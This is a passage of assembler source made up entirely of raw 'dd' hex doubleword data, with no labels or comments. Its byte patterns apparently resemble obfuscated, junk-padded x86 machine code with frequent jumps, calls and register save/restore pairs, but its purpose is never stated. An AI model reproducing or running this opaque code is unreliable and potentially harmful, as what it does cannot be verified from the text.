0E95EC7B5h dd 5, 0A97FF60Ch, 148E0F18h, 0E9000000h, 0Fh, 0A89E7D14h dd 7459C083h, 5732F830h, 66B0B285h, 60FC2ABFh, 6C88CA81h dd 0B70F7E31h, 8B6661D0h, 0ADF181D0h, 8B191C40h, 0D78166C2h dd 8B66397Bh, 0A2DC80F9h, 880Fh, 0CB800000h, 2840F5Ah dd 8B000000h, 79E681FEh, 0B5010E8Eh, 268A0FBEh, 0E8000000h dd 9, 0BA0D85C8h, 2A4D92F5h, 12E93Dh, 0DE3C0000h, 1E904D70h dd 5D7D4D37h, 602DA7C1h, 0CC0308Ch, 13E95Ah, 5DB30000h dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah, 0C1B70F22h dd 28E0Fh, 0FB8B0000h, 0F98B6657h, 0D681665Eh, 0C6818D58h dd 30DDF4D0h, 0F8C8BF0Fh, 0F9F18B66h, 60CB8B66h, 0BE9h dd 0EBE9700h, 5DD68F33h, 0A416FAECh, 0F6061F5h, 58Bh, 1D9CB900h dd 0BF0F0A50h, 0EF8161F8h, 5C3F4EE4h, 66A6DA80h, 820FCB8Bh dd 6, 8E0Fh, 8B660000h, 0EE9DEh, 0E22D0000h, 0BF02B776h dd 384D287Ah, 9964971Ch, 48D0Fh, 60600000h, 0D48A6161h dd 816667B7h, 0F9234C2h, 0FF5F9B7h, 0E960C6B7h, 8, 15DD7E1Dh dd 3DC52935h, 6E8h, 7498AF00h, 0E9774DE1h, 0Eh, 0EC70B744h dd 55745CFFh, 0CAF145EFh, 615EBD6Bh, 666060F9h, 6661F08Bh dd 0E861D88Bh, 11h, 0CECC0538h, 0DF2183Fh, 0F64A5071h dd 0BE71531Dh, 10E9A0h, 0EC7A0000h, 0DEC0D249h, 8D120AACh dd 8F3662C2h, 665B0CB3h, 0BF0FC18Bh, 839DBBC3h, 7E841BEh dd 37000000h, 9D4F4F91h, 5EF52783h, 1F0CE381h, 8B66622Fh dd 12E9CFh, 0F4E0000h, 9794028Ah, 4AC1364Ch, 9D2B390Dh dd 0D9941C47h, 11E9h, 7FE56F00h, 7AA6108Eh, 3622D379h dd 747D1A4Fh, 860F7CF4h, 0Eh, 820F60h, 81000000h, 0BB4375DEh dd 0F526110h, 0E95EFFBFh, 0Eh, 0A85B4148h, 0D9DC8896h dd 0EC2771FAh, 0F3819C64h, 3F4771EAh, 66D2BF0Fh, 666372BEh dd 89BAFB8Bh, 0F7017D3h, 1784h, 118D0F00h, 0E9000000h dd 0Ch, 953C0222h, 5185D46Fh, 152109C4h, 0D346C681h, 0FE91B76h dd 0B4000000h, 328FCFD3h, 0A3728794h, 0B510931Fh, 0F2813588h dd 5AD01EC5h, 840Fh, 0B9660000h, 0FB9E089h, 8B0BE8C0h dd 0F38166C1h, 5E95901h, 0A0000000h, 42FF32D0h, 84DE8166h dd 0FBF66C4h, 0C8BF0FC9h, 5E952h, 0DBA90000h, 5FF63721h dd 4800Fh, 0BB660000h, 8D0F5F47h, 8, 0D940B860h, 61FC0E7Bh dd 0DE860h, 7D270000h, 923BCFBFh, 135FD03h, 0E92D9295h dd 0Ah, 0E5C521D9h, 91B9001Dh, 0F559A739h, 0AE961h, 0C9680000h dd 0F2F51A17h, 0C5C0BFE8h, 8BF9B70Fh, 66BDB6FAh, 5F7CDF81h dd 0E838C380h, 0Dh, 42AA63F6h, 289700DBh, 3453160h, 0BE99Eh dd 0D1A90000h, 881B38D2h, 0BCFAD22Bh, 66F95A1Ch, 8A80E6BAh dd 14E9F4h, 9B7C0000h, 0DAC0EE22h, 8B8BFC7Eh, 41B53B88h dd 0DC6D70BEh, 0B866220Ch, 7BB30CF3h, 0FD08B66h, 386h dd 0D8BF0F00h, 0B9665952h, 75B9A263h, 0B11C1008h, 8ADC8A7Bh dd 605EB5C2h, 66F3BF0Fh, 4D99CB81h, 66EA8A61h, 0B0758CB8h dd 14E8512Ch, 81000000h, 17D2F689h, 39548BDh, 0B445D8AEh dd 0D4024A34h, 809ADF8Eh, 595FD6EEh, 66C8B70Fh, 6610F7B8h dd 0F83F3BBh, 38Ah, 0C1BF0F00h, 11E9h, 6EE9F200h, 81DFDB8Fh dd 0AA412929h, 0CDA16FA8h, 0B70F80E8h, 0D08166C0h, 8166AA72h dd 0B41B08D1h, 6E94Bh, 6370000h, 55F710E5h, 0AD76BE66h dd 0E82CC080h, 0Ah, 529341D0h, 0BE7C24E4h, 0B25A6385h dd 0D38B66A3h, 4810Fh, 0B8660000h, 0EFB7FB42h, 876ACB81h dd 10E925C1h, 7E000000h, 0CE23313h, 9DDD7668h, 0CF886F59h dd 0E9BF9E6Ah, 14h, 815A0A04h, 8185849Eh, 3414B397h, 6E6704EAh dd 0EF2AC73Dh, 0E8C3BF0Fh, 6, 0C7748646h, 0D08B727Bh, 0D381665Eh dd 0B966A80Bh, 8A0F0A13h, 15h, 0DE851h, 4F460000h, 2F5F272Ah dd 201B1019h, 5A5111C3h, 0CE85Fh, 0EA940000h, 0FCFE7CE4h dd 4243BA0Bh, 3AB9C63Ah, 5F7FBAFDh, 0C523C881h, 0F08046EFh dd 3830F02h, 0F000000h, 0B70FDBB7h, 12E960C2h, 0D7000000h dd 0F0279544h, 0E312582Eh, 9A77F694h, 0C66F1704h, 0F870FBBh dd 0E9000000h, 0Ah, 9A02882Ch, 7D4192A1h, 0E8616EA9h, 0Ch dd 0C878688Eh, 2EFB4599h, 87ABFDF1h, 2870Fh, 0FC8A0000h dd 0E9C5B058h, 14h, 0A00D3B00h, 29C4F1D7h, 0D0F47D6h, 0D0FF502Ch dd 61D1D69Bh, 94D68166h, 0BB6660B3h, 0E1801773h, 11E96110h dd 9D000000h, 0DBBD9022h, 0CCD36315h, 59CBB35Ch, 0F186BD9Dh dd 0C2BA5953h, 60368D24h, 0BED08166h, 93BA664Ch, 0FE9610Dh dd 0FB000000h, 5895E85h, 0FA68F83h, 2944BB72h, 0B70F7056h dd 0C3B70FC7h, 12E9h, 0C46E3C00h, 13B0F3ECh, 0D25875Dh dd 0EFACF9DAh, 8B4662B2h, 0F53F5CBh, 8Ch, 30BA5A00h, 0F4F720Ch dd 0B84h, 6E900h, 1EF10000h, 0C4E928A6h, 2800FF5h, 8A000000h dd 998FBFCAh, 605344C9h, 0EE9h, 0FD63FF00h, 1B2B0FD5h dd 7F66A4BDh, 0FC49959h, 85h, 0F95E6100h, 28E0Fh, 0C18B0000h dd 47FCC981h, 820F64E0h, 17h, 0DE960h, 0C3FB0000h, 2034BA42h dd 917644A2h, 6630AB78h, 0F561FE8Bh, 0C78B6660h, 0D491C981h dd 66613F5Fh, 6653F08Bh, 0D3F6F381h, 0C7B70F5Fh, 5820Fh dd 81660000h, 0E8278FD9h, 0Bh, 1CCC1331h, 36A1D62Bh, 0BEFA874Ch dd 7470AA9h, 0FFBE665Eh, 0CA8166B2h, 81666EE7h, 0B3A56DE3h dd 0CB8B6626h, 58C0Fh, 81660000h, 81D81FEEh, 5B7D88DAh dd 0F6816012h, 316FB21Eh, 528BB5BBh, 860F6152h, 1, 0E8F98AFCh dd 7, 0E9D7E8DAh, 52C27A19h, 5858F4B6h, 0AABE51F8h, 5828E6F1h dd 5879B450h, 0FB866F9h, 2850FCAh, 8B000000h, 816651C1h dd 5F7B5FDBh, 0EF5B81BFh, 0B5F0801Dh, 0F671B966h, 7E9h dd 0F7B80C00h dd 0BF11496Dh, 5AC38B50h, 0CE9h, 0B017EF00h, 64A48B17h dd 0C06F4194h, 0BE895h, 140B0000h, 5BBFA92Ch, 0FDF6EABEh dd 59B157CAh, 83BF5859h, 535387DFh, 7E9h, 0CAF5E200h, 45215937h dd 2ED4805Fh, 9880Fh, 860F0000h, 3, 0FC18B66h, 283h, 0E9CA8B00h dd 7, 0AC85F146h, 8BC85ADBh, 92E281C1h, 81422C6Bh, 95ECF1D2h dd 0B1F0801Eh, 81D38B66h, 223597DFh, 0E650BB76h, 0BB667BA4h dd 0FF5A941h, 0D580D3BFh, 0F969B7D3h, 12E9h, 0E7061900h dd 7B690B21h, 0EDE2DA4Ch, 0A2A05237h, 0E9E4A0C4h, 0Fh dd 8B0AB70Eh, 1A7B5E9h, 7048E217h, 0E82BE477h, 0Fh, 208AA5B8h dd 918F8458h, 424EE637h, 66D07A97h, 0EA34E181h, 0E960F55Ah dd 10h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh, 40EEA232h dd 4880Fh, 0B8660000h, 0F613425h, 0D780D6B7h, 0E8EF81FDh dd 8A683A50h, 66B966DAh, 0E9F28B5Fh, 11h, 0CF2037FBh, 1BC64F92h dd 98945D4Eh, 4F17E463h, 51CAB375h, 13E9h, 0D0E24F00h dd 0D8BA5EC4h, 6DFA2D31h, 0E226968Eh, 917CAD41h, 13E85Eh dd 37470000h, 587D564Ch, 0FC42653Bh, 5A2E42EFh, 7396952Dh dd 0D88B668Ch, 9E959h, 9FCC0000h, 0B0649093h, 0F8E3ABAh dd 1981h, 10E800h, 272B0000h, 58B449B6h, 31165E8h, 0AA18874Ah dd 0B70F8C29h, 0D0815BFAh, 789C9E8Fh, 5F576060h, 10D18161h dd 612CB0A1h, 66F9E1B3h, 577F21BAh, 0DB81665Fh, 0F9602F06h dd 0E57D53BAh, 0BF0F6172h, 0FC18BCAh, 98Bh, 38A0F00h, 80000000h dd 0E9608FEEh, 14h, 673E8F0Bh, 7800D638h, 47E6EEB0h, 0D9E0171Fh dd 0F1DAD586h, 7E861h, 33C80000h, 47FD3581h, 0F781603Ch dd 507D0C77h, 7971F381h, 58615A00h, 830FBBB1h, 5, 1502DDB9h dd 80DA8B64h, 8166A3CDh, 66F154D2h, 669F42B9h, 0CDE0E181h dd 1909F381h, 0F57337Dh, 0E85FCBBFh, 12h, 624516BDh, 0A4892F8Fh dd 486F99B2h, 4FD4C9D7h, 8B663748h, 0F38158D9h, 194D96D6h dd 94B86656h, 66F55ED9h, 0E9BC71B8h, 0Ah, 0BC3C5BB5h, 5F566E7Eh dd 860F8FC4h, 3, 66D2BF0Fh, 0E9287EBBh, 0Ah, 35331C74h dd 942126E7h, 8E0F2FCCh, 17h, 12E9h, 9B46CC00h, 54967C3Ch dd 2DA5AD60h, 430D84E6h, 60816DFFh, 5909C181h, 0E381690Ah dd 0D3FCBEDh, 0CE8B5061h, 0F08B5759h, 0DE816658h, 0EE963A3h dd 0CF000000h, 417743C5h, 0C03B5568h, 28939761h, 0FABF0F6Ch dd 0DE8h, 68964800h, 67495B50h, 0EE631A1Dh, 13E9F697h dd 6000000h, 0F955CEEh, 0CD61D6EBh, 0B570D628h, 8B3C58E8h dd 0F5FA04Bh, 168Eh, 11E900h, 75380000h, 6FFBE447h, 3E53B45Ah dd 812417C3h, 0B8B93D00h, 47D30FF0h, 96C9B866h, 29BE07B8h dd 28D0F69h, 8B000000h, 8E8D7h, 5BBA0000h, 94F4CC6Bh, 6E98E91h dd 60000000h, 0FA64A200h, 14E95F5Eh, 0DF000000h, 0D6E94A85h dd 5AC12607h, 0CA240A96h, 7E1F9820h, 0FFBA76Fh, 0DA81F6B7h dd 5085548Ch, 3CEDBE66h, 8BFFB70Fh, 0D4D5B9C8h, 0C7B36497h dd 66DFBF0Fh, 0CC5EEA81h, 708FBE66h, 0F8AC080h, 38Ah, 0C2BF0F00h dd 198D0Fh, 14E90000h, 0C000000h, 0A2864C07h, 0A3C9ECFAh dd 0EDAE7EFCh, 0CED2D7ABh, 0FC71A765h, 840642BAh, 0FABF0F5Fh dd 9536D781h, 5E92B21h, 66000000h, 256B92F3h, 10E9h, 0F7D04B00h dd 54C0A895h, 2B31AEFAh, 1D88ADD5h, 880F5185h, 2, 0E95FD68Bh dd 0Eh, 729AFDC6h, 1C1F4658h, 705FE20Ch, 0FE8FEC4h, 1A000000h dd 5BF13AAh, 1C197339h, 0B0024EA6h, 8F0F8DE8h, 6, 0E98DE81h dd 665F0937h, 0BF66C88Bh, 0F381ED2Fh, 6E1EF409h, 12E9h dd 0E2C83B00h, 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h, 6688D31Fh dd 44FCCF81h, 14E8h, 6EA2B200h, 0E2019892h, 0BF804A82h dd 0F90882E8h, 0D2E04AE2h, 6880FD1h, 81000000h, 21346CDFh dd 8B0F5F17h, 0Ah, 4880Fh, 0BA660000h, 7E9EB8Fh, 0A0000000h dd 473FA352h, 0DA80DD6Eh, 5880F16h, 60000000h, 61F55B53h dd 0C98166F8h, 0EA8137FFh, 6AD3607Ch, 0FCDAB70Fh, 0BE9h dd 61C8D000h, 9159070Fh, 9B7D2B59h, 0FD1ED881h, 0F9B9230Fh dd 813B46DAh, 364E96EAh, 7FBE6036h, 602DB0BCh, 820Fh, 0BF0F0000h dd 0E86161F1h, 0Ch, 78630C4Bh, 6134E13Dh, 630B7343h, 38A0Fh dd 8B660000h, 66565ECFh, 5B4D0ABEh, 4840FFCh, 66000000h dd 57C645B9h, 0F47E09BEh, 8B665806h, 5E8D3h, 48EA0000h dd 0F37C9C8h, 0E958D9BFh, 9, 0E44508DEh, 4CD568C1h, 0EE8ECh dd 0B8C0000h, 0D2A15AAAh, 149AA7A8h, 2D54B91Dh, 0BE8h dd 1A995700h, 9A483CA7h, 0CB1B6DFh, 10E9h, 6D82D700h, 256A44E6h dd 5EDB8F2h, 4904846Fh, 665E58DAh, 60E4E7B8h, 76E5BE66h dd 11E9h, 0BEB27300h, 0C4A77263h, 76E12F17h, 72C5DC34h dd 0F861DC69h, 0ADDE8166h, 57C88B4Ah, 0F5F1BB7h, 588h dd 0C88B6000h, 0D68161F9h, 39322DA4h, 0DE9h, 381FC200h dd 0EEB5465Eh, 0A5FC8091h, 0BF0FB1C6h, 0E870FF7h, 0E9000000h dd 9, 345900FDh, 67FE8999h, 0CA8B6678h, 13E9F8h, 24B00000h dd 97144478h, 374640CCh, 8C165285h, 0AE8B310Eh, 0FCCB8B70h dd 0F13ABE66h, 0D0BFC78Ah, 665D01D6h, 8A0FD38Bh, 1, 0C28166F5h dd 9E823E0h, 0F2000000h, 8FAC99F1h, 0B375BCC9h, 14E8h dd 6C39F400h, 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h dd 59C78B51h, 5860F5Ah, 66000000h, 0F3A2C081h, 0FE8h, 0F23A9600h dd 3EAEDE7h, 603BB5D5h, 0C5C3B4CAh, 665AF28Bh, 0F2E95B9h dd 383h, 46C78000h, 8C0Fh, 0CF810000h, 1480949h, 0F916E480h dd 0DA8B91B7h, 0ED35BA66h, 609AEB80h, 890F60h, 61000000h dd 5161FE8Bh, 0A298E181h, 0F95A6854h, 5840Fh, 0B4B90000h dd 0E92D27FDh, 7, 0E341C0DBh, 0E865698Dh, 0Ch, 0ED9450FBh dd 0C0948569h, 0D67A1580h, 5FE7D780h, 0C7EE8166h, 0FEBF0F57h dd 11E8h, 0AC6FBD00h, 6FF33985h, 1BBB4702h, 904F8C2Dh dd 0D08AC960h, 0B4EA815Fh, 0F39F68Bh, 487h, 0F38B5600h dd 13E85Eh, 0A3800000h, 30867A65h, 2FA7A37Ah, 42210CF1h dd 810F8B60h, 28E0FF9h, 60000000h, 0FFC5961h, 198Eh, 14E900h dd 7B530000h, 6C41937Eh, 0CA57412Ch, 69A36491h, 39B8AE23h dd 0D3BE4CE8h, 537D2F4Ch, 0BE8h, 0A3906800h, 0EA5501F5h dd 0B50EE8DBh, 880Fh, 585B0000h, 2AD7B866h, 58D0Fh, 81660000h dd 66B391DEh, 0F51F78Bh, 8A5BCEBFh, 60C28AE5h, 0D681D88Ah dd 2F33B4D0h, 62F78161h, 0B96AE62Ch, 5A636136h, 0BB66D68Bh dd 81666214h, 0FCA38D1h, 1085h, 9E95300h, 64000000h, 66B6BA34h dd 222E5AE9h, 0CEE0815Ah, 0E83E5EAFh, 5, 0B1022938h, 0DE920h dd 0D0E00000h, 0A8F2B5F2h, 0C26B2147h, 58DDB2A0h, 9E9h dd 0A2228700h, 0C90EF47Eh, 0BF0F4F4Dh, 78E181FAh, 8B464272h dd 0F98B66F8h, 0C1C6F681h, 0A3B846EBh, 0E83433D0h, 0Ch dd 0C16E83EEh, 0DAF888D2h, 0DBD19086h, 1132B866h, 0AE95Bh dd 610A0000h, 82F25739h dd 2DB74BAh, 0F28BB3B1h, 25AC081h, 8B6673EEh, 890FC3h dd 0E9000000h, 11h, 5B34D34Bh, 0D46661Dh, 0D4B99D7Dh, 93D0E77Fh dd 0CE9B3h, 0BF730000h, 45D6E7A5h, 40FE822h, 0B866B4EAh dd 0E9608BACh, 13h, 8A686069h, 5E01BC15h, 0B6ACAA6Dh, 0C4F5FCB0h dd 0E9C8A86Dh, 0Eh, 3B3AC915h, 64B6C89Fh, 335E2F8Eh, 0BF61DB5Fh dd 6EBB9060h, 0DE8h, 0C566DA00h, 41C9764h, 0B1848A21h dd 5E80212h, 0D9000000h, 5E70F916h, 0CBEDC081h, 5E5F778Bh dd 75F06EBAh, 0D78B6644h, 0BBEB8052h, 2DBE665Eh, 61FC60EEh dd 0CD7211B9h, 0C68B6645h, 0DE5CBA66h, 0A2F181F9h, 0F4176C8h dd 685h, 41DE8100h, 5106596Dh, 0EE9h, 0AAA10200h, 0D4E81108h dd 4B693B5Ch, 59CDAE9Eh, 0DA80ECB2h, 63BA60EBh, 80017C6Bh dd 8B6197D9h, 6E9C6h, 649E0000h, 0E1F487F6h, 2840F60h dd 53000000h, 0F61F958h, 286h, 66CF8A00h, 818FF3BFh, 70255CAh dd 0BE81Ah, 0C2CB0000h, 0E336EEC0h, 0DB664898h, 5E964h dd 58FE0000h, 5FDF1882h, 8056C18Bh, 665E12D2h, 0FFF64B8h dd 38Dh, 0D3B70F00h, 0CBCA8153h, 5F0CEF16h, 7E9h, 501B6000h dd 5D9DB974h, 77D9EA81h, 0B70F0D18h, 0E953F9DBh, 6, 0F745EDF8h dd 0E858AC70h, 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh dd 0A9010129h, 8D28160h, 0F87016B7h, 0D2805F61h, 66FB8BF6h dd 8A596FBFh, 6E9F4h, 0B0420000h, 81E395A8h, 11E9h, 91A97600h dd 0DB7BDEC9h, 4FC81E3Bh, 97AD6AFCh, 8C0F5EAFh, 0Dh, 0F2816660h dd 870F4C48h, 0 dd 0BEC28A61h, 0BC9E57Ah, 11E960h, 0F77A0000h, 39F5CB3Fh dd 1F36F203h, 2A94970Ch, 0E88EABBEh, 13h, 4DDB5508h, 1F927F59h dd 31BF9F88h, 279F806Ah, 0E9F6C07Ah, 9, 7BE4C757h, 100C8AB9h dd 66615E34h, 1828C881h, 0C12213BEh, 0BE66567Fh, 0F5BB328h dd 0BB66DBBFh, 8152426Ah, 569E34EBh, 0CC805A27h, 890F89h dd 80000000h, 0E9566FE5h, 0Dh, 137C6732h, 6BA6B369h, 74199B69h dd 0DE85A70h, 0D2000000h, 0E6AD53B9h, 74CE5304h, 4E0BD00Fh dd 0E85A2DB1h, 7, 0E52C900Bh, 0F8C3F21Eh, 13E959h, 9A620000h dd 0F8638C01h, 0F782716Fh, 70A5FED7h, 355E596Ah, 8B66F524h dd 0D6B70FC2h, 0ED07E281h, 0B70F3AC2h, 0E9CF8BD2h, 12h dd 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh, 0F381326Dh dd 4173D757h, 9148C781h, 8B6671D4h, 0EE9FBh, 0F2570000h dd 0DB74BA82h, 452F7B02h, 237F3031h, 0DE9h, 632F8900h dd 983F4EEDh, 1784A024h, 860F37EFh, 8, 2830Fh, 0FB8B0000h dd 61DF8166h, 66CE8B7Dh, 0B150DE8Bh, 0DE85B88h, 4E000000h dd 765127DCh, 6F47F624h, 40ABA8F6h, 59CBE50h, 5A5F183Fh dd 6E957h, 0E50A0000h, 0CA69E82Ch, 1BAF85Ah, 6612429Fh dd 22B6D781h, 0AD35C081h, 66F53685h, 0C38DD381h, 6E9h dd 0AAE19B00h, 0B0415BC8h, 7E8F897h, 7A000000h, 8B2167ADh dd 0BB53CB3Eh, 64DD9D1Fh, 0D8805A5Ah, 0CAE38024h, 0F5256B5h dd 665FCFBFh, 4EBBC88Bh, 8127C8AAh, 0B3E25BC7h, 0FA8B666Ah dd 66D6C180h, 0BE9CA8Bh, 5F000000h, 0D8D18FC4h, 25B61B8Eh dd 0AE95076h, 43000000h, 24F729B7h, 7B6EDDE1h, 0B5C58ACBh dd 0D0B70FF2h, 0C8F18166h, 11E9C8h, 0ADEB0000h, 59BDAECEh dd 54C7874Fh, 0EFB7D9A3h, 6664D857h, 8B7319BBh, 8B0F56C6h dd 3, 5FC3B70Fh, 10E850h, 6FC0000h, 255752ACh, 0F673C01Dh dd 7DBFFB94h, 5FFCBC47h, 6DB96059h, 0B017844Eh, 0E6816160h dd 405D199Ah, 0C6816651h, 0F95F206Dh, 0E963D280h, 5, 69056FECh dd 38D0FADh, 66000000h, 0F60C18Bh, 850FDEBFh, 2, 0B861C78Bh dd 49396623h, 60BAC880h, 810F60h, 66000000h, 611C18BFh dd 0B70F61F8h, 0A5DB81F8h, 0BF4256CFh, 3962B11h, 14E8FCh dd 15250000h, 0F9614A0Dh, 3FD32499h, 0ECE105B7h, 110B099Eh dd 8C0F9409h, 6, 870Fh, 0E8580000h, 11h, 0BCF7B1A3h, 69835F6Bh dd 5B5768C3h, 28C75B16h, 0AB2AB870h, 0F59357Ah, 13E9F8BFh dd 0BB000000h, 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h dd 0CE8FA1Dh, 8C000000h, 950FDFA9h, 93D2FA70h, 0E95009B5h dd 12h, 0A43AD8EDh, 3207A235h, 0E9A6911Ch, 0F8F8C69Ah dd 0E85A3A2Ah, 0Fh, 93BBCA7h, 46FE06AEh, 127AC955h, 6627C1DDh dd 6058D88Bh, 61CB8B66h, 0EBB7BF66h, 8E9F8h, 0AA560000h dd 7A9895E7h, 0AE9677Bh, 0 dd 2A90B951h, 0C9B2F402h, 3BBB66B9h, 51D38A2Bh, 38D0Fh dd 8B660000h, 0B96058F8h, 695BE685h, 5361D78Bh, 13E960h dd 8540000h, 0E7FE09EBh, 2C3A90A9h, 0C39D0F57h, 298AC43Ch dd 6E82Ch, 336D0000h, 0EA5B414h, 8A596159h, 0DBCC80CAh dd 18B0Fh, 66F80000h, 8166F28Bh, 815E17EFh, 6A9A4ACEh dd 9E979h, 4AB00000h, 4C91E2D6h, 60BF89E8h, 7E9h, 0D549C900h dd 38C01C33h, 0F61A4B4h, 28Ah, 81FE8B00h, 0E0B3C4EBh, 66F88A4Dh dd 0B8413CBEh, 9F9B56h, 29BE6653h, 816059E2h, 0B3CE3FE1h dd 61EC8A33h, 0E8C1B70Fh, 11h, 547AA39Fh, 8F3E6714h, 6FE39B2Bh dd 9C90DB72h, 0DE9BEh, 65940000h, 152E5705h, 0DD2EEF78h dd 5B129F05h, 7E67BE66h, 0CE9FB8Bh, 26000000h, 0D79DBB71h dd 0F0279544h, 0E912582Eh, 10h, 4ACC41F3h, 0D33E63AAh dd 0C4E4F2B9h, 0B66D5272h, 0F061BDBFh, 0A8E0F6Ch, 0E9000000h dd 5, 4E77DA2Bh, 5E901h, 1A680000h, 0B7C956C0h, 14E9FC5Bh dd 9000000h, 3717FC8Ah, 358DD79Ch, 81403D91h, 853D7404h dd 0F21B460h, 283h, 0FCA8B00h, 688h, 0B3C98100h, 0F7C48C6h dd 0C80h, 7E900h, 77270000h, 2B8E2895h, 0CAD680A8h, 0DB815150h dd 18B07DFAh, 0BE66585Bh, 8B66CE35h, 9E9DFh, 84EA0000h dd 0E5742C11h, 6626ABD6h, 0E882DCBAh, 6, 0EBB6C36h, 59F5AA26h dd 8165C180h, 7F2B27F2h, 2408BA5Fh, 0E860138Fh, 0Fh, 4AF45A2Fh dd 7DB189C2h, 0CE61F9D9h, 8BDFA8BAh, 66575BC7h, 7007DF81h dd 7E8615Fh, 0 dd 21190EC4h, 850F1C85h, 6, 0D921C981h, 0E9590289h, 9 dd 2276276Bh, 29C14BBh, 0C08166E6h, 816626BAh, 66C85FD7h dd 0EA81CF8Bh, 7E646AD8h, 0DE8h, 0F760A00h, 16695CC2h dd 90FD5449h, 0F5A382Eh, 1084h, 0BE900h, 3FEB0000h, 1A8AF75Fh dd 94400AEAh, 800FDDh, 0FC000000h, 22B5B960h, 61FC412Eh dd 6034C780h, 146DD781h, 56B02C94h, 5FF95061h, 38C0Fh dd 0F5520000h, 4860F58h, 66000000h, 8BEA5CBFh, 0CF8166C6h dd 0B7F9015Ch, 0F85F5779h, 0A7DA8160h, 0E84DC041h, 0Bh dd 5FC7D8D0h, 0ACAF150Fh, 8A0382C5h, 0B8615BC8h, 2AB78B1Ah dd 0EE8A60F9h, 6FEA8166h, 53FC6190h, 421FD881h, 0B45A34E4h dd 14E910h, 3C9A0000h, 8E8E55CDh, 0B72874B1h, 0E2D40674h dd 0C00ECD17h, 0E9F87C3Ah, 0Ah, 0EED06C65h, 64D6F4C6h dd 0F60FBAEh, 689h, 8A0F00h, 81000000h, 803081DBh, 0F2816159h dd 6ED82097h, 12E9h, 24E59200h, 0CA5825Fh, 8F12ECB5h, 0E83CC75Fh dd 0FC2CC59h, 381h, 43C18000h, 5850Fh, 96BE0000h, 0F1B9403h dd 8Bh, 7F6CB900h, 0BA660F4Ch, 8C0F4D15h, 1, 0FD08BF8h dd 389h, 87C38000h, 0D18BE18Ah, 709DC8B9h, 0D981660Bh dd 0CA81CF6Ah, 30DB96B8h, 9E8F5F9h, 0C2000000h, 0FFCE283h dd 0F32AE368h, 5918DA80h, 38BFE681h, 0BA663951h, 8B66F95Dh dd 816660D6h, 0FC65A1E6h, 6890F61h, 81000000h, 228F72D0h dd 0FE873h, 909B0000h, 0B2E741DCh, 0D4E3D2EAh, 7B50C8E9h dd 0DE95345h, 90000000h, 750EA883h, 561B6EBDh, 1CEF3682h dd 890F595Eh, 6, 6644C081h, 0E6812C15h, 7491C7E3h, 8B1AEF80h dd 0FC5F56D1h, 68B0Fh, 8C0F0000h, 0 dd 0F5A9D880h, 0E981CB8Bh, 2AF13B2Ch, 0C562C881h, 0DE97201h dd 76000000h, 0BA815E8Dh, 11A2E771h, 0E0BC3EC2h, 8BD0BF0Fh dd 66C38AFAh, 0BA66CF8Bh, 8166CDB1h, 8B80ACCBh, 0D38166DFh dd 8B51AD7Ah, 0BE95ADAh, 70000000h, 6961DAE5h, 0CFCD5E61h dd 8B66C959h, 13E9D7h, 48A60000h, 384E7CD4h, 0E05D8267h dd 9376E6EFh, 0C20CFC19h, 9E9ABh, 9BAE0000h, 2E313BC4h dd 0E95E6A0Fh, 0Bh, 2B0B9B13h, 0C2CEB977h, 0FB8A365h, 389h dd 0C3BF0F00h, 4830Fh, 0BB660000h, 0C681E032h, 309F6AC1h dd 0F5E0BE66h, 8E9h, 259B1500h, 0F2E2D1D9h, 0CE8BFh, 52AD0000h dd 63B50D8Eh, 847EB233h, 8166E6E5h, 59B9D5D7h, 0AE9h, 2BAAC200h dd 0F0E02B4h, 6643EB4Ah, 0E613C781h, 0C810Fh, 7E90000h dd 8A000000h, 92777E77h, 0D58A79C7h, 0FE8h, 3E300A00h dd 7B8F0E82h, 7E7FC7Ah, 4B0675A1h, 0B491B866h, 51B9515Fh dd 5A3C59B6h, 1639BE50h, 0E9582F2Bh, 9, 0C0E19131h, 0C387DB17h dd 0AFBA666Eh, 66D7B229h, 0F25C3BBh, 887h, 890F5600h, 0 dd 6060505Eh, 5E61F561h, 12E850h, 0BF430000h, 70D53475h dd 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h, 0A6F0D281h, 5B587310h dd 6E9F08Bh, 1F000000h, 70556791h, 0FFB70F3Ah, 8B66DE8Ah dd 8A0FF2h, 0BA000000h, 403CB61h, 830Fh, 0E9600000h, 14h dd 6A34B7Ch, 0D11D7CD9h, 0AC18297Eh, 7B2FD1FCh, 0D37CA7DAh dd 850Fh, 8A610000h, 9E8F5h, 0F9F70000h, 19C58D67h, 60AEFF6Eh dd 0F98B6160h, 0D3815F61h, 591220D8h, 5AF98B56h, 80C3BF0Fh dd 1CBB03E0h, 0F3EBE9Ch, 288h, 0F08B300h, 387h, 0FE8B6600h dd 0E9A0B360h, 0Bh, 2AA04AA2h, 1D58EFB2h, 61ECAFD5h, 7A94E781h dd 0FE94D06h, 0DC000000h, 5F9AC863h, 0DBB0ABF8h, 877E075Eh dd 6E91F0Ch, 44000000h, 8620B84Fh, 0F6BF0F3Eh, 38D0Fh dd 0BF0F0000h, 0F6050FFh, 85h, 61F78B00h, 0D9805058h, 0BE95F63h dd 84000000h, 989813DDh, 654353E7h, 0DE8E1DAh, 0F3000000h dd 4C5E7E2Ch, 4C070C2Fh, 0ECFAA286h, 4C90BA66h, 0C88B665Bh dd 0E15EBEBBh, 0B6FCFC03h, 4830F33h, 66000000h, 66CEE3B9h dd 0CC8AD08Bh, 0EE8h, 9C732600h, 4529B533h, 0A1C70A4Bh dd 0E8F46FB5h, 5, 0EEC2E1C3h, 0D38166A0h, 58588976h, 4CBF6660h dd 0FE96188h, 71000000h, 0E7AB9DA7h, 8D2B898Ch, 31FF77C1h dd 8D0FF8AAh, 3, 0F5CA8B66h, 4DB1BF66h, 248CE981h, 0C9817136h dd 5F214A6Eh, 0CABF0FFCh, 3800Fh, 0B70F0000h, 0DE8DAh dd 6E9B0000h, 60D992E9h, 0D699EBB8h, 0F56FFA77h, 0F8DA8A59h dd 0E0CB8160h, 0F61AB6Ah, 6661D0B7h, 0E8DBF0B9h, 10h, 5789B02h dd 1AAE150Ch, 0A7BD8416h, 0D27C1819h, 0C78B6652h, 0DA8B5F5Fh dd 0B7132BBFh, 0F7BF0F30h, 0F55EF551h, 0FE9DE80h, 682h dd 74F78100h, 0E84B36F6h, 7, 